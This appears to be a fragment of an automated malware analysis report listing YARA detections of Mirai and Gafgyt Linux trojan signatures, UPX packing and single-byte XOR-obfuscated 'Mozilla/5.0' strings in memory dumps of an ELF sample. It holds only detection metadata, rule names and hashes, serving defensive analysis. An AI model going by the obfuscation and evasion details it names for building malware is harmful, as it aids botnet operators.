Source: 6595.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6595.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7217.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7217.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6953.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6953.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7406.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7406.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6884.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6884.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6660.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6660.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6834.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6834.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7204.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7204.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6789.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6789.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6786.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6786.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6710.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6710.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7326.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7326.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7072.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7072.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6239.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6239.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7297.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7297.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6365.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6365.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6877.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6877.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6939.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6939.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7331.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7331.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6957.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6957.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6450.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6450.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6329.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6329.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6427.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6427.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7114.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7114.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7360.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7360.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6512.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6512.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6756.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6756.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7301.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7301.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7029.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7029.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7366.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7366.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7129.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7129.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7124.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7124.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6975.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6975.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7020.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7020.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6881.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6881.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6380.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6380.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6440.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6440.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6930.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6930.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 7107.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 7107.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6386.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6386.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown
Source: 6974.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6974.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda Author: unknown

Source: LOAD without section mappings

Program segment: 0x400000

Source: log21.x86_64.elf, type: SAMPLE	Matched rule: SUSP_ELF_LNX_UPX_Compressed_File date = 2018-12-12, author = Florian Roth (Nextron Systems), description = Detects a suspicious ELF binary with UPX compression, score = 038ff8b2fef16f8ee9d70e6c219c5f380afe1a21761791e8cbda21fa4d09fdb4, reference = Internal Research
Source: 6250.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6431.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6999.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6514.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7209.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6888.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7074.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6563.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6691.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6224.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7240.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7371.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6485.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7293.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
